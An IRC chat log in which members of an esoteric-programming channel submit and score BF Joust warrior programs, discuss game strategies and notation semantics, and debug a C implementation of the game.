20:53:55 <fizzie> To pre-empt any "you're just stealing from others" objections, I restarted the evolver from "first principles" (read: wiki "bfjoust strategies" examples), but it hasn't innovated anything especially good (yet).
20:54:14 <ais523_> Gregor: ah, on the basis that no fast rush uses a reverse decoy setup?
20:54:29 <Gregor> ais523_: Yeah ... which of course it could, but they don't :P
20:54:33 <elliott> oh wow, the italicisation really is bad
20:54:41 <elliott> any objections to me just reverting to the previous version? this is unreadable
20:54:51 <elliott> (the previous version isn't very good, but it's better than this)
20:55:11 <ais523_> elliott: I like the new page organisation, but not the actual content
20:55:29 <ais523_> but I'm hardly wiki dictator, that's Graue's job
20:55:33 <ais523_> so it's nice to get more opinions
20:55:35 <Gregor> I prefer it as is.
20:55:38 -!- BeholdMyGlory has joined.
20:55:43 <Gregor> It needs some polish, but is still better than it was.
20:55:56 <ais523_> it needs de-myspacification
20:56:10 <elliott> I would <i>prefer</i> someone just <i>reorganise the previous page</i> rather than All Of This and <i>NOTE THIS IMPORTANT NOTE</i>
20:56:32 <elliott> You're an American, you don't have an allergic reaction to bludgeoning-by-text.
20:56:34 <elliott> :p
20:56:41 <ais523_> Gregor: hmm, your extremely complex metastrategy, what sort of extremely-conventional offset clear rush does it use after waiting 1000 cycles?
20:57:06 <ais523_> it can't be an extremely extremely conventional 2-cycler, or it wouldn't beat the majority of defence programs on long tapes
20:57:34 <Gregor> ais523_: ([(+)*32[-]]>+[(+)*32[-]]>-)*11
20:57:38 <Gregor> It is pretty damned conventional.
20:57:57 <ais523_> hmm, something's wrong here
20:58:06 <ais523_> which I should go analyse in more detail
20:58:19 <Deewiant> Prediction: ais fixes a bug and hits 70 score
20:58:19 <Gregor> anal-lyse
20:58:25 <Gregor> Prediction: Yes.
20:58:45 -!- Behold has quit (Ping timeout: 246 seconds).
21:02:01 <fizzie> I should have some sort of dead-code removal from my evolver-kludge (or alternatively just build in some bias for shortness), it keeps building more and more complicated programs, which probably don't make any sort of sense at all.
21:02:07 <fizzie> !bfjoust evo_4 http://p.zem.fi/evo-4
21:02:36 <EgoBot> Score for fizzie_evo_4: 0.0
21:02:44 <Deewiant> fizzie: >*9 followed by >*21 followed by dead code
21:03:05 <fizzie> (Alternatively I guess I could always just do what everyone else seems to be doing, i.e. think, but that doesn't sound very reasonable.)
21:03:45 <Deewiant> My and your best scores prove that the more you rely on machines the worse you'll do and vice versa
21:04:23 <elliott> Deewiant: LUDDITE
21:04:41 <Deewiant> Quite
21:05:15 <Gregor> Real men just get onto the tape and toil with their bare hands.
21:05:27 <fizzie> Well, out of pure curiosity, let's have that initial bit as evo_4.
21:05:33 <fizzie> !bfjoust evo_4 (-->)*9([(-)*128.>]+>)*21
21:05:47 <EgoBot> Score for fizzie_evo_4: 33.3
21:05:48 <fizzie> That at least shouldn't crash-and-burn.
21:06:07 <Sgeo> That does better than my mind can do
21:06:26 <Deewiant> Better than expected considering it looks like it runs off the end of the tape often :-P
21:06:31 <ais523_> fizzie: hmm, that's just a turtle that sets decoys
21:06:36 <Sgeo> Although that looks like a pblished strategy
21:06:44 <Sgeo> piblished. For pibs
21:06:48 <ais523_> I'm surprised it's doing that well given the amount of anti-turtleage around atm
21:07:10 <ais523_> oh, it also leaves a trail, although I'm not sure if that matters
21:07:30 <elliott> lance.c:65: error: variably modified ‘tape’ at file scope
21:07:31 <elliott> whut
21:07:49 <elliott> cell_t tape[max_prog - 1];
21:07:49 <elliott> } match_t;
21:07:49 <elliott> err, how did that happen :-D
21:08:01 -!- cheater- has quit (Ping timeout: 240 seconds).
21:08:57 -!- oerjan has joined.
21:09:10 * oerjan gasps for internet
21:09:26 <Deewiant> The Internet is closed. Please go away.
21:09:46 -!- ais523__ has joined.
21:09:53 -!- ais523_ has quit (Disconnected by services).
21:09:55 -!- ais523__ has changed nick to ais523_.
21:10:25 -!- cheater- has joined.
21:10:27 <oerjan> 15:27:19 <Gregor> oerjan: Why are you not here now :P
21:10:40 <oerjan> BECAUSE THE HOUSE MAIN ROUTER DONE BROKEN
21:10:56 <Sgeo> Who's broken?
21:11:11 <oerjan> ...
21:11:22 <elliott> lance.c:75: error: variably modified ‘nest_stack’ at file scope
21:11:22 <elliott> I wonder what on earth that /means/
21:11:25 <elliott> oerjan: hello
21:11:25 <oerjan> I SENSE AN EVIL LACK OF SYMPATHY
21:11:29 <oerjan> hi elliott
21:11:51 <elliott> oerjan: stop losing internet like that
21:11:52 <elliott> we need you
21:11:54 <elliott> :P
21:11:56 <oerjan> i'll try :(
21:11:59 <Sgeo> When I ran out of Internet access in the past, I'd go on Active Worlds
21:12:04 <elliott> aww
21:12:11 <elliott> it's ok, i would probably die after two hours of no internet
21:12:12 <oerjan> huh
21:12:20 <elliott> oerjan: we've been on somewhat of a bf joust kick.
21:12:25 <elliott> with no signs of stopping
21:12:31 <oerjan> elliott: one more day and i would have considered it
21:12:44 <elliott> oerjan: what, spontaneously dying?
21:12:51 <oerjan> yes
21:12:53 <Sgeo> oerjan, is your Internet access permanently fixed?
21:12:56 <elliott> ah.
21:13:16 <elliott> come to think of it, last time you could have just used the freenode webchat, sloppy!
21:13:21 <ais523_> Gregor: your program only beats defend9.75 because of egojoust limitations
21:13:22 <oerjan> elliott: ah yes. which reminds me that one of my last messages before i left was griping whether you actually would support my (({{}})*)* notation properly
21:13:22 * elliott swats oerjan [INSERT AMUSING ASCII DEPICTION]
21:13:29 <elliott> oerjan: yes, I am
21:13:32 <elliott> oerjan: egojsout also supports it
21:13:38 <elliott> (Gregor's fancy debugger thing)
21:13:41 <oerjan> yay
21:13:50 * ais523_ catches elliott and oerjan in the same butterfly net -----------------\XXX/
21:13:55 <Sgeo> ais523_, what limitations?
21:14:05 <elliott> oerjan: also we decided to unify * and %, but I'm reversing that decision because exponential programs could be useful, I guess
21:14:08 <oerjan> elliott: i'll assume you mean according to my "obvious" semantics :)
21:14:13 <elliott> oerjan: yes :P
21:14:21 <elliott> oerjan: technically Gregor counts up both ways, but he does it differently
21:14:23 <ais523_> Sgeo: it crashes if you repeat a long program containg loops several times
21:14:23 <elliott> iirc
21:14:28 <elliott> ask him :P
21:14:36 <elliott> I wonder why Herobrine died
21:14:39 <ais523_> so I had to reduce a loop count I originally had at 125 to 9
21:14:41 <elliott> (oerjan: don't logread from my links any more)
21:14:45 <ais523_> just to get it to run
21:14:51 <elliott> I possibly won't bother putting it back up
21:14:54 <oerjan> elliott: um counting up both ways means having to modify the counter stack when you jump between left and right parts...
21:14:55 <elliott> ais523_: "nice"
21:15:01 <elliott> oerjan: Ask Gregor
21:15:08 <ais523_> it didn't matter against any programs that existed at the time
21:15:14 <oerjan> and that's true even with single ({})*
21:15:24 <elliott> ins_t nest_stack[max_prog - 1];
21:15:24 <elliott> int nest_ptr;
21:15:24 <elliott> } parser_state_t;
21:15:25 <ais523_> but it does now
21:15:30 <elliott> lance.c:75: error: variably modified ‘nest_stack’ at file scope
21:15:36 <elliott> oerjan: he does it some different way, as i said, ask him
21:15:41 <elliott> (note: max_prog is const)
21:16:00 <oerjan> Sgeo: i assume relatively permanently, i just managed to plug in the new router that arrived in door-to-door mail today
21:16:12 <Sgeo> oerjan, huzzah!
21:16:19 <Sgeo> (Since when do I say huzzah?)
21:16:29 <oerjan> Sgeo: SINCE YOU BECAME A BEE
21:16:45 <Deewiant> elliott: That doesn't work with a const, it has to be a #define or such
21:16:48 <Sgeo> But I don't wanna go extinct!
21:16:58 -!- Behold has joined.
21:17:32 <elliott> Deewiant: but, but, it's static const!
21:17:36 <elliott> and with a literal initialiser
21:17:42 <Deewiant> elliott: And it's C
21:17:47 <elliott> STUPID C
21:18:09 <ais523_> anyway, it did highlight a bug in defend9.75 too, which is trivially fixable
21:18:18 <oerjan> <elliott> (oerjan: don't logread from my links any more) <-- what? :(
21:18:33 <elliott> oerjan: Herobrine pinged out and for some reason didn't recover
21:18:40 <elliott> despite recovering successfully from the same only hours before
21:18:43 <elliott> it didn't even log itself dying
21:18:45 <ais523_> note: on work computers, always remember to go to pastie.org, not pastie.com
21:18:47 <elliott> I haven't investigated yet
21:18:55 <Sgeo> ais523_, I'm afraid to ask
21:19:02 <elliott> ais523_: "The Leading Nipple Covers Site on the Net"... err, wow.
21:19:12 <elliott> "can u watch tv shows on this thing?
21:19:12 <elliott> jewels
21:19:12 <elliott> hello? srry im new in this
21:19:19 <elliott> What on earth is this X-D
21:20:13 -!- BeholdMyGlory has quit (Ping timeout: 250 seconds).
21:20:16 <elliott> is there a way to jump to a line in emacs without using annoying prefix arguments?
21:20:25 <Ilari> Heh. Reminds me of whitehouse.gov(SFW)/whitehouse.com(NSFW).
21:20:30 <ais523_> elliott: M-g M-g
21:20:35 <ais523_> then enter the line number
21:20:36 <Deewiant> elliott: Install vimpulse
21:20:38 <oerjan> elliott: that ping out was only today was it? so i can still look at earlier days?
21:21:00 <ais523_> Ilari: it hasn't happened to me, but python.org(SFW)/python.com(NSFW) has caught out some of my friends
21:21:04 <ais523_> oerjan: it was quite a while ago
21:21:07 <elliott> oerjan: er, a few days
21:21:18 <elliott> oerjan: last logged date is the 14th and it's missing most of the talk on that day
21:21:18 <oerjan> elliott: oh. well i guess it will be obvious when the logs end.
21:21:20 <elliott> oerjan: the 13th is OK though
21:21:24 <ais523_> someone here with adblock, what's the syntax for raw links in pastie.org?
21:21:30 <elliott> ais523_: with adblock?
21:21:36 <elliott> why can't someone without adblock answer?
21:21:41 <ais523_> pastie here is currently trying and failing to load an advert, and the raw link isn't loading because it's later on the page than the advert is
21:21:41 <elliott> ais523_: I highly suggest you do not use pastie, however
21:21:44 <elliott> they deleted all my pastes ages back
21:21:49 <elliott> without ever deleting any before
21:21:52 <ais523_> it's only meant to be temporary
21:21:52 <elliott> or saying they'd delete any
21:21:55 <elliott> bad mojo
21:21:58 <ais523_> I just want to feed a program to egobot
21:22:04 <elliott> ais523_: there are no ads on pastie. oh, there's one, it seems.
21:22:06 <ais523_> and this isn't my computer
21:22:09 <elliott> a really really tiny one, and just for their web host
21:22:21 <elliott> ais523_: I'll check, though
21:22:25 <ais523_> and yet it's preventing me viewing the raw link, without guessing the syntax
21:22:32 <ais523_> I miss pastebin.ca
21:22:40 <elliott> ais523_: http://pastie.org/pastes/1572313/text
21:22:46 <elliott> ais523_: found your paste :P
21:22:51 <ais523_> ah, it loaded eventually, after about a minute
21:22:52 <elliott> ais523_: also, why can't you use sprunge?
21:22:58 <ais523_> !bfjoust defend9.75 http://pastie.org/pastes/1572313/text
21:23:06 <ais523_> not my computer
21:23:08 <oerjan> <elliott> aha! admission!
21:23:10 <elliott> ais523_: and?
21:23:11 <oerjan> I KNEW IT
21:23:22 <ais523_> it means I can't expect to have my usual software installed
21:23:22 <elliott> ais523_: does it not have curl?
21:23:27 <elliott> no, but you can always check
21:23:32 <elliott> curl ships with every stock Linux distro
21:23:41 <ais523_> so does bash
21:23:53 <elliott> ais523_: err, that machine doesn't have bash?
21:24:06 <elliott> I doubt a Linux machine without a bash-similar shell could even run
21:24:07 <ais523_> yes, but not by default
21:24:15 <elliott> how's that relevant?
21:24:18 <ais523_> hmm, seems it does have curl
21:24:40 <ais523_> elliott: if you try to chsh bash, it tells you not to try because it causes logins to fail
21:24:50 <elliott> ais523_: what distro?
21:24:51 <elliott> CentOS?
21:24:54 <ais523_> yep
21:24:55 <elliott> what default shell? tcsh?
21:24:58 <ais523_> yep
21:24:59 <EgoBot> Score for ais523__defend9_75: 0.3
21:25:04 <elliott> ais523_: meh, that just means it has login scripts written in tcsh
21:25:08 <ais523_> err what?
21:25:11 <elliott> ais523_: ?
21:25:13 <elliott> oh
21:25:13 <elliott> lol
21:25:14 <elliott> wtf
21:25:15 <elliott> ais523_: aha
21:25:17 <elliott> ais523_: pastie uses html
21:25:18 <elliott> for its raw pages
21:25:20 <elliott> I forgot
21:25:26 <ais523_> yep, same thing that caught out impomatic
21:25:31 <elliott> ais523_: tl;dr sprunge. It's the only pastebin that you can trust to not do absolutely idiotic crap.
21:25:33 <elliott> :P
21:25:43 <elliott> ais523_: hmm, I should put up an html form pointed at sprunge.us somewhere
21:25:46 <elliott> so it can be used from anywhere
21:25:50 <ais523_> larger question: how does it get any points at all when the first character is <
21:25:55 <ais523_> elliott: don't, it'd just be spammed
21:25:57 <ais523_> or make it private
21:26:06 <ais523_> i.e. password or something
21:26:06 <elliott> ais523_: err, how would it be spammed?
21:26:09 <elliott> I'd only link it from here
21:26:11 <ais523_> then tell everyone you know the password
21:26:13 <elliott> and I doubt spambots will look at our logs
21:26:22 <ais523_> I think they would, they look at everything
21:26:33 <elliott> ais523_: I'd make it require JS, then
21:26:35 <elliott> for antispam
21:27:04 <oerjan> 18:24:24 <ais523_> what does (a{b}c{d}e)%2 expand to?
21:27:05 <oerjan> 18:24:35 <elliott> aabccdee
21:27:12 <oerjan> that's not _my_ interpretation
21:27:26 <oerjan> mine would be aabcdecabcdee
21:27:54 <elliott> oerjan: we've decided that multiple {}s in one % is ridiculous
21:27:57 <oerjan> although maybe yours fits better into your implementation, mine would require a different system that keeps much more information on the stacks
21:27:58 -!- ais523_ has changed nick to ais523.
21:28:03 <ais523> !bfjoust defend9.75 http://sprunge.us/cJII
21:28:06 -!- ais523 has changed nick to ais523_.
21:28:09 <elliott> oerjan: but we've also decided that (x(a{b{c}d}e)%my)%n is OK
21:28:14 <elliott> the innermost {} associates with the outermost ()%
21:28:31 <elliott> note: this is slightly insane, but used in the preferred version of a recent good contester
21:28:34 <elliott> (one of Gregor's philip programs)
21:28:37 <oerjan> elliott: yeah that's my basic (({{}})) idea
21:28:42 <elliott> oerjan: you don't follow the hill itself right?
21:28:56 <elliott> if you do, uh, everything's been shaken up, we have a 30 Kio program that ruled for ages
21:28:58 <elliott> *kio
21:29:01 <elliott> space_elevator
21:29:06 <elliott> hybrid attack/defence, first of its kind
21:29:15 <elliott> now the hill is populated with Gregor's
21:29:15 <elliott> 3 6 53.32 20.08 Gregor_furry_furry_leather_discipline_girls.bfjoust
21:29:17 <elliott> 5 7 48.46 18.63 Gregor_furry_furry_nipple_clamp_girls.bfjoust
21:29:17 <oerjan> elliott: however you said something about (({})*)%, which in my view is almost the same as that multiple {}'s thing
21:29:18 <Deewiant> "ages" a couple of days? :-P
21:29:22 <elliott> with two of Deewiant's rushes and... some other program, at the top
21:29:27 <elliott> (dunno what allegro does)
21:29:31 <elliott> oerjan: that's disallowed
21:29:36 <oerjan> the only difference is that there aren't several different "centers"
21:29:42 <ais523_> elliott: it's just a rush, enhanced with most of the things that make rushes better
21:29:47 <elliott> right
21:29:53 <oerjan> elliott: yeah that too would require much more stack information
21:29:59 <elliott> so basically, dumb rushes are beating highly advanced partially-computer-generated programs.
21:30:02 <elliott> HOORAY
21:30:02 <EgoBot> Score for ais523_defend9_75: 42.6
21:30:27 <oerjan> (which means i have a sort of idea how it _could_ be done. i vaguely recall Icon uses its stack in a similarly weird manner
21:30:30 <oerjan> )
21:30:57 -!- cheater- has quit (Quit: Leaving).
21:31:01 <elliott> ais523_: hmm, it sunk?
21:31:16 <elliott> quick, someone push good_vibrations off
21:31:22 <oerjan> (allowing programs lower in the stack to run while the stack below is still filled, but any new recursion is put on top of the stack)
21:31:22 <ais523_> I don't think so, maybe it stayed constant
21:31:28 <elliott> aww, interior_crocodile_alligator sunk a lot
21:31:36 <elliott> ais523_: it was 43 before
21:31:40 <elliott> on the report.txt that I had loaded
21:31:41 <Deewiant> I think allegro just uses different clears and more early decoys
21:31:46 <Deewiant> Compared to pendolino
21:31:50 <elliott> but then, EgoBot rounds
21:31:50 <ais523_> perhaps it loses on one more cycle length to a fastish defend, then
21:31:53 <elliott> changes xx.xx into xx.x
21:31:55 <elliott> for no apparent reaso
21:31:56 <elliott> *reason
21:32:13 <Deewiant> It's faster and shouldn't die to vibrators at least as easily
21:32:25 <oerjan> <elliott> oerjan: you don't follow the hill itself right? <-- no, i don't have much understanding of the grits of the actual _game_ :D
21:34:03 -!- Lymia_ has joined.
21:34:37 <ais523_> haha, I fixed the bug in one place but not another
21:36:37 <oerjan> <elliott> Gregor: (...{ goes up, and *leaves it on the stack*.
21:36:53 <oerjan> once again, i said _not_ to leave it on the stack then.
21:37:05 <oerjan> er wait
21:37:09 -!- Sgeo has quit (Ping timeout: 240 seconds).
21:37:18 <oerjan> when finishing the going up, of course
21:37:22 <ais523_> elliott: please finish lance so I can get defend9.75 to beat all the furry furry girls
21:37:36 <elliott> ais523_: I'm workin' on it
21:37:38 <ais523_> it's close atm, having only narrow losses
21:37:48 <elliott> oerjan: really?
21:37:56 <elliott> then Gregor does the right thing, I guess
21:38:00 <elliott> oerjan: Gregor doesn't actually use a stack
21:38:00 -!- Lymia__ has quit (Ping timeout: 276 seconds).
21:38:03 <elliott> his counter is kept in the ( instruction
21:38:11 <ais523_> but loses on long tapes due to me needing to cut loops short in order to avoid crashing egojoust
21:38:20 <elliott> ais523_: just do (x)*n(x)*m
21:38:23 <oerjan> elliott: what _do_ you interpret (a(b{c{d}e}f)%m g)%n as?
21:38:29 <elliott> as ugly as that is
21:38:38 <oerjan> elliott: yeah that's also possible
21:38:42 <ais523_> elliott: I don't think it'd help
21:38:48 <elliott> oerjan: err, I can't expand it off the top of my head, but the outer {} is bound to the inner ()%, and the inner {} is bound to the outer ()%, is the egojsout interpretation
21:39:03 <ais523_> there's a threshold betweens "runs quickly" and "doesn't run at all", and I fear it's the point at which egojoust runs out of memory for the expanded program
21:39:13 <ais523_> in which case no amount of synonyming would help
21:40:09 <oerjan> elliott: the thing is that the inner { needs to reach the stack element the outer ( put there, which is akward if the outer { doesn't pop _its_ stack element
21:40:38 <oerjan> *awkward
21:40:38 <elliott> oerjan: well i dunno
21:41:02 <oerjan> although you could probably keep track of it still. in fact that multiple side-by-side {} would probably require it.
21:41:37 <ais523_> oerjan: (a(b{c{d}e}f)%2g)%2 = (abbc{d}effg)%2 = abbcabbcdeffgeffg
21:41:49 <elliott> op_chars[parser->dest[parser->nest_stack[parser->nest_ptr]].op],
21:42:21 <oerjan> ais523_: yeah that should be correct
21:43:17 -!- iconmaster has joined.
21:43:51 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '[' '.'
21:43:52 <elliott> Syntax error: Unmatched [ (on line 1, at column 2)
21:44:00 <Deewiant> Column 2?
21:44:00 <elliott> ugh, I had better store the original line/column pair in the nesting structure
21:44:05 <elliott> Deewiant: = EOF
21:44:13 <elliott> unclosed X gets error at end of file
21:44:37 <iconmaster> !bfjoust kill_self [+]
21:44:55 <elliott> iconmaster: that's not a fast way to commit suicide
21:45:11 <EgoBot> Score for iconmaster_kill_self: 13.6
21:45:30 <iconmaster> at least if my polarity is + it is
21:45:37 <Gregor> In no case is it.
21:45:48 <iconmaster> Well < is faster
21:45:52 <Gregor> It's ~256 cycles either way
21:46:07 <Gregor> !bfjoust slowly_kill_self [-(.)*100]
21:46:35 <EgoBot> Score for Gregor_slowly_kill_self: 9.0
21:47:07 <iconmaster> !bfjoust fastfail <
21:47:14 <EgoBot> Score for iconmaster_fastfail: 0.0
21:47:32 <iconmaster> YES! I win... Er... Lose.
21:47:46 -!- pikhq_ has joined.
21:47:48 <elliott> You win at losing.
21:48:01 <oerjan> <Grulf> oh noes, wheres oerjan
21:48:03 -!- pikhq has quit (Ping timeout: 260 seconds).
21:48:05 <iconmaster> I'm proud.
21:48:06 <elliott> !bfjoust i_hope_you_fuck_up_my_tape_before_i_finish_my_deed (-)*128
21:48:09 <oerjan> who was that?
21:48:17 <EgoBot> Score for elliott_i_hope_you_fuck_up_my_tape_before_i_finish_my_deed: 7.6
21:48:50 <Gregor> !bfjoust spin_cycle [(+)*100000]
21:48:56 <Lymia_> !bfjoust zero-point-one (>-)*10([-]>)*2
21:49:10 -!- Lymia_ has changed nick to Lymia.
21:49:14 -!- Lymia has quit (Changing host).
21:49:14 -!- Lymia has joined.
21:49:15 <elliott> oerjan: inventor of some language
21:50:11 <EgoBot> Score for Gregor_spin_cycle: 11.6
21:50:21 <oerjan> ah Calculon, which i proofread a bit
21:50:39 <EgoBot> Score for Lymia__zero-point-one: 0.0
21:50:44 <Lymia> :<
21:50:48 <Gregor> Wow :P
21:51:09 <Lymia> !bfjoust zero-point-one (>+)*10(>[-])*2
21:51:14 <iconmaster> !bfjoust super_fail [[]+]
21:51:15 <elliott> $ ./lance '[xxx'
21:51:15 <elliott> Syntax error: Unmatched [ (on line 1, at column 1)
21:51:15 <elliott> yay
21:51:21 <EgoBot> Score for Lymia_zero-point-one: 0.0
21:51:25 -!- augur has joined.
21:51:47 <Lymia> :< :<
21:51:50 <EgoBot> Score for iconmaster_super_fail: 3.1
21:52:00 <elliott> Lymia: egobot rounds, try report.txt
21:52:03 <elliott> for that extra decimal digit!
21:52:19 <elliott> !bfjoust
21:52:19 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
21:52:32 <elliott> !bfjoust for_want_of_a_better_name (>)*9(-)*128
21:52:48 <Gregor> elliott: 10 is the only tape length dood
21:52:53 <elliott> Gregor: Indeed.
21:52:54 <EgoBot> Score for elliott_for_want_of_a_better_name: 0.4
21:52:58 <elliott> Aw man
21:53:00 <elliott> Too good!!!
21:53:18 <Gregor> !bfjoust other_side_sui_cide (>)*30
21:53:26 <EgoBot> Score for Gregor_other_side_sui_cide: 0.0
21:54:00 <elliott> ais523_: anti-defence strategy idea
21:54:12 <iconmaster> !bfjoust less_fail ([)*1000(]+)*999]
21:54:13 <ais523_> yes?
21:54:17 <Lymia> !bfjoust zero-point-one >+(>)*8([-]>)*2
21:54:19 <elliott> ais523_: look for the first non-zero cell, assume it's a tripwire, use this fact to skip it, and also to get some idea of where the flag is
21:54:27 <elliott> (because tripwires aren't likely to be placed too far from the opponent's flag)
21:54:31 <ais523_> elliott: that's what tripwire avoiders do
21:54:35 <elliott> ais523_: Oh :P
21:54:43 <elliott> At least I'm as smart as whoever came up with that.
21:54:55 <EgoBot> Score for Lymia_zero-point-one: 2.0
21:54:55 <EgoBot> Score for iconmaster_less_fail: 3.0
21:54:59 <Lymia> What
21:55:00 <ais523_> although it's often a decoy rather than a tripwire
21:55:21 <Lymia> !bfjoust zero-point-one (>+)*2(>)*7((-)*128>)*2
21:55:24 <elliott> ais523_: Right.
21:55:30 <EgoBot> Score for Lymia_zero-point-one: 0.0
21:55:39 <elliott> ais523_: The difference being that clearing decoys just wastes time, whereas clearing tripwires is downright dangerous.
21:55:40 <Gregor> !bfjoust flag_is_tripwire [](+)*100000
21:55:54 <ais523_> elliott: indeed; although wasting time is often /also/ outright dangerous
21:55:55 <EgoBot> Score for Gregor_flag_is_tripwire: 3.1
21:56:09 <ais523_> and typical tripwires are not normally last, but buried in a maze of decoys
21:56:25 <ais523_> e.g. defend9.75 changes the value of 7 cells and its flag; three of them are tripwires
21:56:34 <ais523_> wait, no, four
21:56:40 <elliott> ais523_: indeed, but wasting time destroying decoys doesn't matter if your program is a defence and you don't hit a tripwire
21:56:54 <elliott> (unless your rush is so slow that the defence program decides to go attack)
21:57:10 <iconmaster> !bfjoust dumb [[+.>]+]
21:57:14 <elliott> hmm, attackers have turned into "rushers"
21:57:19 <elliott> despite the fact that a rush is just a fast attack
21:57:21 <EgoBot> Score for iconmaster_dumb: 0.0
21:57:47 <Gregor> !bfjoust this_vibrators_got_four_d_batteries (-)*128+[[(---+++)*100000]+]
21:58:15 <EgoBot> Score for Gregor_this_vibrators_got_four_d_batteries: 13.8
21:58:16 <Lymia> !bfjoust zero-point-one (>+)*2(>)*7([-]>)*2
21:58:30 <EgoBot> Score for Lymia_zero-point-one: 0.2
21:58:36 <Deewiant> !bfjoust möbius (>(+>->)*14(+<-<)*14<)*10000
21:58:42 <EgoBot> Score for Deewiant_m__bius: 0.0
21:59:03 <elliott> unicode fail
21:59:10 <ais523_> Lymia: trying to get 0.1 exactly?
21:59:12 <Lymia> Yeah.
21:59:20 <Deewiant> !bfjoust möbius (>(+>->)*4(+<-<)*4<)*10000
21:59:20 <elliott> 0.2 might be 0.16
21:59:21 <elliott> :P
21:59:22 <ais523_> elliott: terminology's been around ever since slowrush
21:59:27 <iconmaster> !bfjoust dumb >[[+.>]+]
21:59:33 <elliott> ais523_: yep; slowrush is a bit of a contradiction in the name, though
21:59:38 <EgoBot> Score for Deewiant_m__bius: 0.3
21:59:44 <Lymia> Gregor, damn your huge hill.
21:59:52 <Lymia> How am I supposed to evolve agienst that.
21:59:53 <Lymia> :(
21:59:55 <elliott> ais523_: exercise: figure out whether there are any attack programs that aren't rushes
21:59:57 <elliott> Lymia: Badly.
22:00:00 <elliott> Lymia: fizzie did quite well :P
22:00:12 -!- Mathnerd314 has joined.
22:00:12 <Lymia> I can see that.
22:00:13 <Lymia> :(
22:00:22 <ais523_> elliott: ones that use a forwards tripwire for synchronisation, possibly
22:00:22 <Deewiant> His result was pendolino with a few + added :-P
22:00:45 <elliott> Deewiant: Err, his latest submission was from the example programs.
22:00:47 <elliott> And got something like 33.
22:00:48 <ais523_> btw, I think that if you're trying to counter a particular program, evolving based on the program itself is a good idea
22:00:51 <Gregor> His SOURCE was pendolino, wannit?
22:01:03 <ais523_> e.g. try to make a few changes in order to win the mirror match, at the cost of everything else
22:01:15 <elliott> Gregor: Yes.
22:01:19 <elliott> Among others.
22:01:30 <Lymia> !bfjoust zero-point-one (>+)*3(>)*7((-)*128>>)*2
22:01:35 <iconmaster> !bfjoust dum2 >[[+.>]+]
22:01:51 <elliott> ais523_: It is a belief of mine that there exists an algorithm that takes a BF Joust program and returns a program which beats it on all polarities and tape lengths.
22:02:00 <ais523_> ditto
22:02:01 <EgoBot> Score for Lymia_zero-point-one: 0.0
22:02:02 <Deewiant> elliott: Yes, that was the careless clear example with a -- trail at the start and a + trail at the end
22:02:06 <ais523_> many algorithms, in fact
22:02:10 <EgoBot> Score for iconmaster_dum2: 3.1
22:02:20 <Gregor> elliott, ais523_: Since runtime is limited, there should be by definition.
22:02:22 <Lymia> !bfjoust zero-point-one (>+)*3(>)*7((-)*128>)*2
22:02:29 <elliott> Gregor: Oh, I was ignoring that pesky issue.
22:02:35 <ais523_> I mean, brute force is one such algorithm
22:02:38 <elliott> Gregor: Also I think polarity/tape lengths make it slightly less than trivial.
22:02:40 <elliott> Because you can't detect that.
22:02:44 <EgoBot> Score for Lymia_zero-point-one: 0.0
22:02:45 <Lymia> elliott, question is.
22:02:46 <elliott> (But you can know how the program behaves on all the different ones)
22:02:56 <Lymia> Do you have to solve the halting problem as a part of it?
22:03:01 <elliott> No.
22:03:06 <Lymia> !bfjoust zero-point-one (>+)*2(>)*9((-)*128>)*2
22:03:08 <elliott> The halting problem is never the answer to any serious question.
22:03:18 <elliott> (Apart from maybe "What dun that Turing fellow")
22:03:20 <EgoBot> Score for Lymia_zero-point-one: 0.0
22:04:02 <Lymia> elliott, eh, well.
22:04:44 <Lymia> I can see it working, it's just that I have no clue how it would work.
22:04:55 <elliott> My, GNU C is fancy:
22:04:55 <elliott> nonnull (arg-index, ...)
22:04:55 <elliott> The nonnull attribute specifies that some function parameters should be non-null pointers. For instance, the declaration:
22:05:11 <elliott> Lymia: there are a finite number of BF Joust programs
22:05:12 <Lymia> Mostly because if you modify your warrior to behave differently, the enemy has a good chance of changing it's behavior in response too.
22:05:16 <elliott> because the cycle count is finite
22:05:27 <elliott> therefore, iterate through every BF Joust program until you find one that beats your input on all tape lengths and polarities
22:05:28 <elliott> Q.E.D.
22:05:36 <Lymia> Brute force.
22:05:37 <Lymia> I like it.
22:05:42 <elliott> It's what's for dinner.
22:05:46 <elliott> (Note: This would be hideously impractical.)
22:05:58 -!- jcp has quit (Ping timeout: 272 seconds).
22:06:00 <Deewiant> You think?
22:06:06 <elliott> Deewiant: On occasion.
22:06:17 <Lymia> Nice understatement you have there
22:06:36 <Deewiant> There's only upwards of 7^10000 programs to go through
22:06:52 <iconmaster> Does a unmatched [ or ] cause EgoJoust to error? Or does it compensate somehow?
22:07:04 <Deewiant> Egojoust compensates somehow, the others error
22:07:13 <elliott> iconmaster: It nops. But no, don't do that.
22:07:17 <elliott> Also, ([)*n is invalid.
22:07:19 <elliott> Use ()%.
22:07:44 <Lymia> !bfjoust quickest-loser ([)*1
22:07:44 -!- iconmaster has quit (Read error: Connection reset by peer).
22:07:47 <fizzie> Deewiant: For the record, I added in a slight bias for shorter programs; it got rid of the dead ballat at the end, but it hasn't innovated anything else than evo_4. Who knows, though, maybe tomorrow morning it has dreamed up a winrar.
22:07:48 <elliott> Deewiant: You missed an 0
22:07:54 -!- iconmaster has joined.
22:07:55 <elliott> Lymia: It's a nop in egojoust.
22:07:57 <elliott> Because egojoust sucks.
22:07:59 <Lymia> Crap.
22:07:59 <EgoBot> Score for Lymia_quickest-loser: 3.1
22:08:11 <Deewiant> elliott: Oh, for some reason I actually thought it was 10000
22:08:23 <Lymia> fizzie, >:3
22:08:25 <elliott> Nope, -1 just turns into that because Gregor am dum
22:08:38 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
22:09:17 <iconmaster> How about a program that floods the hill with randomly generated programs?
22:10:10 <elliott> Ooh, I have the perfect name for such a program.
22:10:12 <elliott> "Asshole".
22:10:22 <iconmaster> Lol.
22:11:30 -!- jcp has joined.
22:11:40 <ais523_> the hill wouldn't be flooded, random programs would rarely get anywhere
22:11:49 <Lymia> Flood the hill with evolved programs?
22:11:56 <ais523_> anyway, time to go home
22:12:02 <Lymia> As they are evolved agienst eachother...
22:12:03 -!- ais523_ has quit (Quit: Page closed).
22:12:08 <fizzie> That program is calles "fizzie". :p
22:12:13 <elliott> :D
22:12:26 -!- iconmaster has quit (Read error: Connection reset by peer).
22:12:33 -!- iconmaster has joined.
22:12:48 <fizzie> Maybe "4" does not quite yet equal "flood".
